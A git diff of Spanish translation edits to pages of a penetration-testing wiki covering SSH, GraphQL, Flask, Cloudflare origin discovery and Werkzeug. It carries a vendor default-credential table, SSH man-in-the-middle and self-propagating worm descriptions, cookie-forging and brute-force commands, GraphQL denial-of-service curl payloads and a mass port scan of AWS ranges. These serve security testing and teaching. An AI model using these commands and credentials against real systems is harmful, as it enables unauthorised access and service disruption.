Deberías buscar aquí para encontrar claves válidas para la máquina víctima.
@@ -135,21 +135,21 @@ Para más información, ejecuta `crackmapexec ssh --help`.
## Credenciales por defecto
| **Proveedor** | **Nombres de usuario** | **Contraseñas** |
-| ------------- | ------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
-| APC | apc, device | apc |
-| Brocade | admin | admin123, password, brocade, fibranne |
-| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, \_Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
-| Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler |
-| D-Link | admin, user | private, admin, user |
-| Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin |
-| EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc |
-| HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin |
-| Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 |
-| IBM | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer |
-| Juniper | netscreen | netscreen |
-| NetApp | admin | netapp123 |
-| Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle |
-| VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default |
+| ------------- | ----------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| APC | apc, device | apc |
+| Brocade | admin | admin123, password, brocade, fibranne |
+| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, \_Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
+| Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler |
+| D-Link | admin, user | private, admin, user |
+| Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin |
+| EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc |
+| HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin |
+| Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 |
+| IBM | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer |
+| Juniper | netscreen | netscreen |
+| NetApp | admin | netapp123 |
+| Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle |
+| VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default |
## SSH-MitM
@@ -158,8 +158,8 @@ Si estás en la red local como la víctima que va a conectarse al servidor SSH u
**Ruta de ataque:**
- **Redirección de tráfico:** El atacante **desvía** el tráfico de la víctima a su máquina, interceptando efectivamente el intento de conexión al servidor SSH.
-- **Intercepción y registro:** La máquina del atacante actúa como un **proxy**, **capturando** los detalles de inicio de sesión del usuario al pretender ser el servidor SSH legítimo.
-- **Ejecución de comandos y reenvío:** Finalmente, el servidor del atacante **registra las credenciales del usuario**, **reenviando los comandos** al verdadero servidor SSH, **ejecutándolos**, y **enviando los resultados de vuelta** al usuario, haciendo que el proceso parezca fluido y legítimo.
+- **Intercepción y registro:** La máquina del atacante actúa como un **proxy**, **capturando** los detalles de inicio de sesión del usuario al hacerse pasar por el servidor SSH legítimo.
+- **Ejecución de comandos y reenvío:** Finalmente, el servidor del atacante **registra las credenciales del usuario**, **reenviando los comandos** al verdadero servidor SSH, **ejecutándolos** y **enviando los resultados de vuelta** al usuario, haciendo que el proceso parezca fluido y legítimo.
[**SSH MITM**](https://github.com/jtesta/ssh-mitm) hace exactamente lo que se describe arriba.
@@ -176,7 +176,7 @@ SSH-Snake realiza las siguientes tareas automáticamente y de forma recursiva:
3. Intenta SSH en todos los destinos utilizando todas las claves privadas descubiertas,
4. Si se conecta con éxito a un destino, repite los pasos #1 - #4 en el sistema conectado.
-Es completamente autorreplicante y autopropagante -- y completamente sin archivos.
+Es completamente auto-replicante y auto-propagante -- y completamente sin archivos.
## Errores de configuración
@@ -197,7 +197,7 @@ Es común que los servidores SSH permitan el inicio de sesión del usuario root
### Ejecución de comandos SFTP
-Hay un descuido común que ocurre con las configuraciones de SFTP, donde los administradores pretenden que los usuarios intercambien archivos sin habilitar el acceso a la shell remota. A pesar de configurar a los usuarios con shells no interactivas (por ejemplo, `/usr/bin/nologin`) y confinarlos a un directorio específico, permanece una brecha de seguridad. **Los usuarios pueden eludir estas restricciones** solicitando la ejecución de un comando (como `/bin/bash`) inmediatamente después de iniciar sesión, antes de que su shell no interactiva designada tome el control. Esto permite la ejecución no autorizada de comandos, socavando las medidas de seguridad previstas.
+Hay un descuido común que ocurre con las configuraciones de SFTP, donde los administradores pretenden que los usuarios intercambien archivos sin habilitar el acceso a la shell remota. A pesar de configurar a los usuarios con shells no interactivas (por ejemplo, `/usr/bin/nologin`) y confinarlos a un directorio específico, permanece una brecha de seguridad. **Los usuarios pueden eludir estas restricciones** solicitando la ejecución de un comando (como `/bin/bash`) inmediatamente después de iniciar sesión, antes de que su shell no interactivo designado tome el control. Esto permite la ejecución no autorizada de comandos, socavando las medidas de seguridad previstas.
[Ejemplo de aquí](https://community.turgensec.com/ssh-hacking-guide/):
```bash
@@ -234,7 +234,7 @@ PermitTTY no
```
Esta configuración permitirá solo SFTP: deshabilitando el acceso a la shell al forzar el comando de inicio y deshabilitando el acceso TTY, pero también deshabilitando todo tipo de reenvío de puertos o túneles.
-### SFTP Tunneling
+### Túnel SFTP
Si tienes acceso a un servidor SFTP, también puedes tunelizar tu tráfico a través de esto, por ejemplo, utilizando el reenvío de puertos común:
```bash
diff --git a/src/network-services-pentesting/pentesting-web/buckets/README.md b/src/network-services-pentesting/pentesting-web/buckets/README.md
index abc2029a9..01d88519a 100644
--- a/src/network-services-pentesting/pentesting-web/buckets/README.md
+++ b/src/network-services-pentesting/pentesting-web/buckets/README.md
@@ -4,6 +4,8 @@
Consulta esta página si deseas aprender más sobre la enumeración y el abuso de Buckets:
-{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum" %}
+{{#ref}}
+https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum
+{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/buckets/firebase-database.md b/src/network-services-pentesting/pentesting-web/buckets/firebase-database.md
index af2ef994b..156fb500f 100644
--- a/src/network-services-pentesting/pentesting-web/buckets/firebase-database.md
+++ b/src/network-services-pentesting/pentesting-web/buckets/firebase-database.md
@@ -4,10 +4,12 @@
## Qué es Firebase
-Firebase es un Backend-as-a-Services principalmente para aplicaciones móviles. Se centra en eliminar la carga de programar el back-end proporcionando un SDK agradable, así como muchas otras cosas interesantes que facilitan la interacción entre la aplicación y el back-end.
+Firebase es un Backend-as-a-Service principalmente para aplicaciones móviles. Se centra en eliminar la carga de programar el back-end proporcionando un SDK agradable, así como muchas otras cosas interesantes que facilitan la interacción entre la aplicación y el back-end.
Aprende más sobre Firebase en:
-{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-services/gcp-databases-enum/gcp-firebase-enum" %}
+{{#ref}}
+https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-services/gcp-databases-enum/gcp-firebase-enum
+{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md
index 0ddf333ae..9a4a51066 100644
--- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md
+++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md
@@ -15,7 +15,9 @@ cachedArchives[p].destroy()
}
})
```
-{% embed url="https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d3ba4c5/lib/common/asar.js#L30-L36" %}
+{{#ref}}
+https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d3ba4c5/lib/common/asar.js#L30-L36
+{{#endref}}
.png>)
diff --git a/src/network-services-pentesting/pentesting-web/flask.md b/src/network-services-pentesting/pentesting-web/flask.md
index 10395b56f..5f6e97427 100644
--- a/src/network-services-pentesting/pentesting-web/flask.md
+++ b/src/network-services-pentesting/pentesting-web/flask.md
@@ -24,7 +24,9 @@ La cookie también está firmada usando una contraseña
Herramienta de línea de comandos para obtener, decodificar, forzar por fuerza bruta y crear cookies de sesión de una aplicación Flask adivinando claves secretas.
-{% embed url="https://pypi.org/project/flask-unsign/" %}
+{{#ref}}
+https://pypi.org/project/flask-unsign/
+{{#endref}}
```bash
pip3 install flask-unsign
```
@@ -48,7 +50,9 @@ flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
Herramienta de línea de comandos para realizar ataques de fuerza bruta a sitios web utilizando cookies creadas con flask-unsign.
-{% embed url="https://github.com/Tagvi/ripsession" %}
+{{#ref}}
+https://github.com/Tagvi/ripsession
+{{#endref}}
```bash
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
```
diff --git a/src/network-services-pentesting/pentesting-web/graphql.md b/src/network-services-pentesting/pentesting-web/graphql.md
index 3bf51d704..566f3f8d0 100644
--- a/src/network-services-pentesting/pentesting-web/graphql.md
+++ b/src/network-services-pentesting/pentesting-web/graphql.md
@@ -2,14 +2,13 @@
{{#include ../../banners/hacktricks-training.md}}
-
## Introducción
GraphQL se **destaca** como una **alternativa eficiente** a REST API, ofreciendo un enfoque simplificado para consultar datos desde el backend. En contraste con REST, que a menudo requiere numerosas solicitudes a través de diversos endpoints para recopilar datos, GraphQL permite obtener toda la información necesaria a través de una **solicitud única**. Esta simplificación **beneficia significativamente a los desarrolladores** al disminuir la complejidad de sus procesos de obtención de datos.
## GraphQL y Seguridad
-Con la llegada de nuevas tecnologías, incluido GraphQL, también surgen nuevas vulnerabilidades de seguridad. Un punto clave a tener en cuenta es que **GraphQL no incluye mecanismos de autenticación por defecto**. Es responsabilidad de los desarrolladores implementar tales medidas de seguridad. Sin una autenticación adecuada, los endpoints de GraphQL pueden exponer información sensible a usuarios no autenticados, lo que representa un riesgo de seguridad significativo.
+Con la llegada de nuevas tecnologías, incluido GraphQL, también surgen nuevas vulnerabilidades de seguridad. Un punto clave a tener en cuenta es que **GraphQL no incluye mecanismos de autenticación por defecto**. Es responsabilidad de los desarrolladores implementar tales medidas de seguridad. Sin la autenticación adecuada, los endpoints de GraphQL pueden exponer información sensible a usuarios no autenticados, lo que representa un riesgo de seguridad significativo.
### Ataques de Fuerza Bruta en Directorios y GraphQL
@@ -24,7 +23,7 @@ Para identificar instancias de GraphQL expuestas, se recomienda la inclusión de
- `/graphql/api`
- `/graphql/graphql`
-Identificar instancias de GraphQL abiertas permite examinar las consultas soportadas. Esto es crucial para entender los datos accesibles a través del endpoint. El sistema de introspección de GraphQL facilita esto al detallar las consultas que un esquema soporta. Para más información sobre esto, consulta la documentación de GraphQL sobre introspección: [**GraphQL: Un lenguaje de consulta para APIs.**](https://graphql.org/learn/introspection/)
+Identificar instancias de GraphQL abiertas permite examinar las consultas admitidas. Esto es crucial para entender los datos accesibles a través del endpoint. El sistema de introspección de GraphQL facilita esto al detallar las consultas que un esquema admite. Para más información sobre esto, consulta la documentación de GraphQL sobre introspección: [**GraphQL: Un lenguaje de consulta para APIs.**](https://graphql.org/learn/introspection/)
### Huella Digital
@@ -203,7 +202,7 @@ Sin embargo, en este ejemplo, si intentas hacerlo, obtienes este **error**:
.png>)
Parece que de alguna manera buscará utilizando el argumento "_**uid**_" de tipo _**Int**_.\
-De todos modos, ya sabíamos eso, en la sección de [Basic Enumeration](graphql.md#basic-enumeration) se propuso una consulta que nos mostraba toda la información necesaria: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
+De todos modos, ya lo sabíamos, en la sección de [Basic Enumeration](graphql.md#basic-enumeration) se propuso una consulta que nos mostraba toda la información necesaria: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
Si lees la imagen proporcionada cuando ejecuto esa consulta, verás que "_**user**_" tenía el **arg** "_**uid**_" de tipo _Int_.
@@ -335,7 +334,7 @@ releaseYear
```
### Sobrecarga de Directivas
-Como se explica en [**una de las vulnerabilidades descritas en este informe**](https://www.landh.tech/blog/20240304-google-hack-50000/), una sobrecarga de directivas implica llamar a una directiva incluso millones de veces para hacer que el servidor desperdicie operaciones hasta que sea posible hacer un DoS.
+Como se explica en [**una de las vulnerabilidades descritas en este informe**](https://www.landh.tech/blog/20240304-google-hack-50000/), una sobrecarga de directivas implica llamar a una directiva incluso millones de veces para hacer que el servidor desperdicie operaciones hasta que sea posible realizar un DoS.
### Agrupación de fuerza bruta en 1 solicitud API
@@ -354,7 +353,7 @@ Como podemos ver en la captura de pantalla de la respuesta, la primera y la terc
Cada vez más **puntos finales de graphql están deshabilitando la introspección**. Sin embargo, los errores que graphql lanza cuando se recibe una solicitud inesperada son suficientes para que herramientas como [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) recreen la mayor parte del esquema.
-Además, la extensión de Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **observa las solicitudes de API de GraphQL que pasan por Burp** y **construye** un **esquema** interno de GraphQL con cada nueva consulta que ve. También puede exponer el esquema para GraphiQL y Voyager. La extensión devuelve una respuesta falsa cuando recibe una consulta de introspección. Como resultado, GraphQuail muestra todas las consultas, argumentos y campos disponibles para su uso dentro de la API. Para más información [**ver esto**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
+Además, la extensión de Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **observa las solicitudes de API de GraphQL que pasan a través de Burp** y **construye** un **esquema** interno de GraphQL con cada nueva consulta que ve. También puede exponer el esquema para GraphiQL y Voyager. La extensión devuelve una respuesta falsa cuando recibe una consulta de introspección. Como resultado, GraphQuail muestra todas las consultas, argumentos y campos disponibles para su uso dentro de la API. Para más información [**ver esto**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
Una buena **lista de palabras** para descubrir [**entidades de GraphQL se puede encontrar aquí**](https://github.com/Escape-Technologies/graphql-wordlist?).
@@ -424,17 +423,17 @@ query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
```
Por lo tanto, dado que las solicitudes CSRF como las anteriores se envían **sin solicitudes de preflight**, es posible **realizar** **cambios** en el GraphQL abusando de un CSRF.
-Sin embargo, tenga en cuenta que el nuevo valor predeterminado de la cookie de la bandera `samesite` de Chrome es `Lax`. Esto significa que la cookie solo se enviará desde un sitio web de terceros en solicitudes GET.
+Sin embargo, tenga en cuenta que el nuevo valor predeterminado de la cookie del flag `samesite` de Chrome es `Lax`. Esto significa que la cookie solo se enviará desde un sitio web de terceros en solicitudes GET.
-Tenga en cuenta que generalmente es posible enviar la **solicitud** **de consulta** también como una **solicitud GET y el token CSRF podría no estar siendo validado en una solicitud GET.**
+Tenga en cuenta que generalmente es posible enviar la **solicitud** **de consulta** también como una **solicitud GET y el token CSRF podría no estar validado en una solicitud GET.**
-Además, abusar de un [**XS-Search**](../../pentesting-web/xs-search/) **ataque** podría ser posible para exfiltrar contenido del punto final de GraphQL abusando de las credenciales del usuario.
+Además, abusando de un [**XS-Search**](../../pentesting-web/xs-search/) **ataque** podría ser posible exfiltrar contenido del endpoint de GraphQL abusando de las credenciales del usuario.
Para más información **verifique el** [**post original aquí**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html).
## Secuestro de WebSocket entre sitios en GraphQL
-Similar a las vulnerabilidades CRSF que abusan de graphQL, también es posible realizar un **secuestro de WebSocket entre sitios para abusar de una autenticación con GraphQL con cookies no protegidas** y hacer que un usuario realice acciones inesperadas en GraphQL.
+Similar a las vulnerabilidades CRSF que abusan de GraphQL, también es posible realizar un **secuestro de WebSocket entre sitios para abusar de una autenticación con GraphQL con cookies no protegidas** y hacer que un usuario realice acciones inesperadas en GraphQL.
Para más información consulte:
@@ -444,7 +443,7 @@ Para más información consulte:
## Autorización en GraphQL
-Muchas funciones de GraphQL definidas en el punto final pueden solo verificar la autenticación del solicitante, pero no la autorización.
+Muchas funciones de GraphQL definidas en el endpoint pueden solo verificar la autenticación del solicitante pero no la autorización.
Modificar las variables de entrada de la consulta podría llevar a detalles sensibles de la cuenta [filtrados](https://hackerone.com/reports/792927).
@@ -491,7 +490,7 @@ valid
### Sobrecarga de Alias
-**Sobrecarga de Alias** es una vulnerabilidad de GraphQL donde los atacantes sobrecargan una consulta con muchos alias para el mismo campo, lo que provoca que el resolutor del backend ejecute ese campo repetidamente. Esto puede abrumar los recursos del servidor, llevando a una **Denegación de Servicio (DoS)**. Por ejemplo, en la consulta a continuación, el mismo campo (`expensiveField`) se solicita 1,000 veces utilizando alias, obligando al backend a calcularlo 1,000 veces, potencialmente agotando la CPU o la memoria:
+**Sobrecarga de Alias** es una vulnerabilidad de GraphQL donde los atacantes sobrecargan una consulta con muchos alias para el mismo campo, lo que provoca que el resolutor de backend ejecute ese campo repetidamente. Esto puede abrumar los recursos del servidor, llevando a una **Denegación de Servicio (DoS)**. Por ejemplo, en la consulta a continuación, el mismo campo (`expensiveField`) se solicita 1,000 veces utilizando alias, obligando al backend a calcularlo 1,000 veces, potencialmente agotando la CPU o la memoria:
```graphql
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "Content-Type: application/json" \
@@ -522,7 +521,7 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" \
-d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \
'https://example.com/graphql'
```
-Tenga en cuenta que en el ejemplo anterior `@aa` es una directiva personalizada que **puede no estar declarada**. Una directiva común que generalmente existe es **`@include`**:
+Tenga en cuenta que en el ejemplo anterior `@aa` es una directiva personalizada que **puede no estar declarada**. Una directiva común que suele existir es **`@include`**:
```bash
curl -X POST \
-H "Content-Type: application/json" \
@@ -540,7 +539,7 @@ Y luego **usa algunos de los personalizados**.
### **Vulnerabilidad de Duplicación de Campos**
-**Duplicación de Campos** es una vulnerabilidad donde un servidor GraphQL permite consultas con el mismo campo repetido en exceso. Esto obliga al servidor a resolver el campo de manera redundante para cada instancia, consumiendo recursos significativos (CPU, memoria y llamadas a la base de datos). Un atacante puede crear consultas con cientos o miles de campos repetidos, causando una alta carga y potencialmente llevando a un **Denial of Service (DoS)**.
+**La Duplicación de Campos** es una vulnerabilidad donde un servidor GraphQL permite consultas con el mismo campo repetido en exceso. Esto obliga al servidor a resolver el campo de manera redundante para cada instancia, consumiendo recursos significativos (CPU, memoria y llamadas a la base de datos). Un atacante puede crear consultas con cientos o miles de campos repetidos, causando una alta carga y potencialmente llevando a un **Denial of Service (DoS)**.
```bash
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
@@ -554,10 +553,10 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
- [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): Prueba configuraciones incorrectas comunes de endpoints graphql
- [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): Script de auditoría de seguridad de GraphQL con un enfoque en realizar consultas y mutaciones de GraphQL por lotes.
- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Identificar el graphql que se está utilizando
-- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Conjunto de herramientas que se puede usar para obtener esquemas y buscar datos sensibles, probar autorización, forzar esquemas y encontrar rutas a un tipo dado.
-- [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Se puede usar como independiente o [extensión de Burp](https://github.com/doyensec/inql).
-- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): También se puede usar como cliente CLI para automatizar ataques
-- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Herramienta que enumera las diferentes formas de **alcanzar un tipo dado en un esquema GraphQL**.
+- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Conjunto de herramientas que se puede utilizar para obtener esquemas y buscar datos sensibles, probar autorización, forzar esquemas y encontrar rutas a un tipo dado.
+- [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Se puede utilizar como independiente o [extensión de Burp](https://github.com/doyensec/inql).
+- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): También se puede utilizar como cliente CLI para automatizar ataques
+- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Herramienta que lista las diferentes formas de **alcanzar un tipo dado en un esquema GraphQL**.
- [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): El sucesor de los modos independiente y CLI de InQL
- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Extensión de Burp para pruebas avanzadas de GraphQL. El _**Escáner**_ es el núcleo de InQL v5.0, donde puedes analizar un endpoint de GraphQL o un archivo de esquema de introspección local. Genera automáticamente todas las posibles consultas y mutaciones, organizándolas en una vista estructurada para tu análisis. El componente _**Atacante**_ te permite ejecutar ataques por lotes de GraphQL, lo que puede ser útil para eludir límites de tasa mal implementados.
- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): Intenta obtener el esquema incluso con la introspección deshabilitada utilizando la ayuda de algunas bases de datos Graphql que sugerirán los nombres de mutaciones y parámetros.
@@ -569,7 +568,9 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
### Pruebas Automáticas
-{% embed url="https://graphql-dashboard.herokuapp.com/" %}
+{{#ref}}
+https://graphql-dashboard.herokuapp.com/
+{{#endref}}
- Video explicando AutoGraphQL: [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU)
@@ -583,5 +584,4 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
- [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)
- [**https://portswigger.net/web-security/graphql**](https://portswigger.net/web-security/graphql)
-
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/uncovering-cloudflare.md b/src/network-services-pentesting/pentesting-web/uncovering-cloudflare.md
index e474556aa..867269465 100644
--- a/src/network-services-pentesting/pentesting-web/uncovering-cloudflare.md
+++ b/src/network-services-pentesting/pentesting-web/uncovering-cloudflare.md
@@ -14,7 +14,7 @@
## Herramientas para descubrir Cloudflare
-- Busca el dominio en [http://www.crimeflare.org:82/cfs.html](http://www.crimeflare.org:82/cfs.html) o [https://crimeflare.herokuapp.com](https://crimeflare.herokuapp.com). O usa la herramienta [CloudPeler](https://github.com/zidansec/CloudPeler) (que utiliza esa API)
+- Busca el dominio dentro de [http://www.crimeflare.org:82/cfs.html](http://www.crimeflare.org:82/cfs.html) o [https://crimeflare.herokuapp.com](https://crimeflare.herokuapp.com). O usa la herramienta [CloudPeler](https://github.com/zidansec/CloudPeler) (que utiliza esa API)
- Busca el dominio en [https://leaked.site/index.php?resolver/cloudflare.0/](https://leaked.site/index.php?resolver/cloudflare.0/)
- [**CloudFlair**](https://github.com/christophetd/CloudFlair) es una herramienta que buscará utilizando certificados de Censys que contengan el nombre de dominio, luego buscará IPv4s dentro de esos certificados y finalmente intentará acceder a la página web en esas IPs.
- [**CloakQuest3r**](https://github.com/spyboy-productions/CloakQuest3r): CloakQuest3r es una poderosa herramienta de Python meticulosamente diseñada para descubrir la verdadera dirección IP de sitios web protegidos por Cloudflare y otras alternativas, un servicio de seguridad web y mejora del rendimiento ampliamente adoptado. Su misión principal es discernir con precisión la dirección IP real de los servidores web que están ocultos detrás del escudo protector de Cloudflare.
@@ -41,7 +41,9 @@ Ten en cuenta que, aunque esto se hizo para máquinas de AWS, podría hacerse pa
Para una mejor descripción de este proceso, consulta:
-{% embed url="https://trickest.com/blog/cloudflare-bypass-discover-ip-addresses-aws/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+{{#ref}}
+https://trickest.com/blog/cloudflare-bypass-discover-ip-addresses-aws/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks
+{{#endref}}
```bash
# Find open ports
sudo masscan --max-rate 10000 -p80,443 $(curl -s https://ip-ranges.amazonaws.com/ip-ranges.json | jq -r '.prefixes[] | select(.service=="EC2") | .ip_prefix' | tr '\n' ' ') | grep "open" > all_open.txt
@@ -59,18 +61,18 @@ httpx -json -no-color -list aws_webs.json -header Host: cloudflare.malwareworld.
### Extracciones de Origen Autenticadas
-Este mecanismo se basa en **certificados SSL** [**de cliente**](https://socradar.io/how-to-monitor-your-ssl-certificates-expiration-easily-and-why/) **para autenticar conexiones** entre los servidores **reverse-proxy** de **Cloudflare** y el servidor **de origen**, lo que se llama **mTLS**.
+Este mecanismo se basa en **certificados SSL** [**del cliente**](https://socradar.io/how-to-monitor-your-ssl-certificates-expiration-easily-and-why/) **para autenticar conexiones** entre los servidores de **proxy inverso de Cloudflare** y el servidor **de origen**, lo que se llama **mTLS**.
En lugar de configurar su propio certificado, los clientes pueden simplemente usar el certificado de Cloudflare para permitir cualquier conexión desde Cloudflare, **independientemente del inquilino**.
> [!CAUTION]
-> Por lo tanto, un atacante podría simplemente establecer un **dominio en Cloudflare usando el certificado de Cloudflare y apuntar** a la dirección **IP** del dominio **de la víctima**. De esta manera, al establecer su dominio completamente desprotegido, Cloudflare no protegerá las solicitudes enviadas.
+> Por lo tanto, un atacante podría simplemente establecer un **dominio en Cloudflare usando el certificado de Cloudflare y apuntar** a la dirección **IP** del dominio **de la víctima**. De esta manera, al configurar su dominio completamente desprotegido, Cloudflare no protegerá las solicitudes enviadas.
Más información [**aquí**](https://socradar.io/cloudflare-protection-bypass-vulnerability-on-threat-actors-radar/).
### Direcciones IP de Cloudflare en la Lista Blanca
-Esto **rechazará conexiones que no se originen en las** direcciones IP de **Cloudflare**. Esto también es vulnerable a la configuración anterior donde un atacante simplemente **apunta su propio dominio en Cloudflare** a la dirección **IP** de las **víctimas**.
+Esto **rechazará conexiones que no se originen en las** direcciones IP de Cloudflare. Esto también es vulnerable a la configuración anterior donde un atacante simplemente **apunta su propio dominio en Cloudflare** a la dirección **IP** de las **víctimas**.
Más información [**aquí**](https://socradar.io/cloudflare-protection-bypass-vulnerability-on-threat-actors-radar/).
diff --git a/src/network-services-pentesting/pentesting-web/werkzeug.md b/src/network-services-pentesting/pentesting-web/werkzeug.md
index 9d9f05746..a63f995a6 100644
--- a/src/network-services-pentesting/pentesting-web/werkzeug.md
+++ b/src/network-services-pentesting/pentesting-web/werkzeug.md
@@ -2,7 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
-
## Consola RCE
Si el modo de depuración está activo, podrías intentar acceder a `/console` y obtener RCE.
@@ -25,7 +24,7 @@ The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server
```
-Un mensaje sobre el escenario "consola bloqueada" se encuentra al intentar acceder a la interfaz de depuración de Werkzeug, indicando un requisito de un PIN para desbloquear la consola. Se sugiere explotar el PIN de la consola analizando el algoritmo de generación de PIN en el archivo de inicialización de depuración de Werkzeug (`__init__.py`). El mecanismo de generación de PIN se puede estudiar en el [**repositorio de código fuente de Werkzeug**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/__init__.py), aunque se aconseja obtener el código del servidor real a través de una vulnerabilidad de recorrido de archivos debido a posibles discrepancias de versión.
